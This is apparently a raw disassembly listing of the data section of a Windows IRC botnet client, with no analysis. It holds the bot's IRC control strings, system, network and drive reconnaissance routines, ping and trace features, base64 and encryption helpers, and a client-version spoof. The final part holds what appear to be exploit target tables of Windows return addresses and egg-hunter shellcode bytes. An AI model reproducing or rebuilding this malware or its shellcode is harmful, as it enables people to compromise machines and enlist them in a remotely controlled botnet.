aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 12EA0h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 4DC8A28h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 4D38h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 22710E8h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 99C3EAA0h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 261D51F8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 260A0h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 1371D1F8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 135E8h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 0E7606A0h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 18820E30h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 18788h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 4CBE20h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 0E7AAB82Ch		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 158F28h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 0FF28h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 5B7606ABh		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 26C9788h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 48B0h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 4CEEE8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 0ECE0h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 0DC9BA4F1h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 8A248h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2D77B5A0h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 10468h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 12BBA0h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 1471A0h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 8BD28h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 1277AE62h		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
off_419A7C	dd offset loc_410DB7+1	; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 2DCF8h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 4688368h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 123B8h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 4C2338h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 1265A0h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0C0AB0h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 0A6CB0h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 5AF4DA8h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 8085E8h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 4CD168h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 0CEF58D2Ch		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2DB260E0h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 90BBA32Ch		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 48489E0h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1246E8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 0DFBD949h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
off_419BA4	dd offset loc_40E3E0	; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 293E0h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0E426671h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 0E04A6C27h		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 2BBDB0A9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 86670h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23C76670h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 4CBE670h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2577B5A0h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 4C38h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 123F0AA8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 289D4860h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 28A446E8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 5E9DD92Bh		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 5E9E29C3h		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 489DAC36h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 29A560E1h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 9A060h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 69F334E0h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 14EFBCE0h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 0A7768h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 0B4768h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 43B8h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 0ACh, 0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh
					; DATA XREF: sub_40A9CF+790o
		dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0)
dword_419DB0	dd 3115E88h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 0B12C0878h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 0EE5AD128h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
aALSsSCJEKi	db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o
		align 4
		dd 0
dword_419DFC	dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: sub_40A9CF+437o
		dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h
		dd 0A087E5A6h, 2 dup(0)
dword_419E48	dd 24648h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 29A012A1h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 29A0C6E9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 0FDD9520h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 25219520h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 407D28h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 47B91A8h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 132330h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3677C869h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
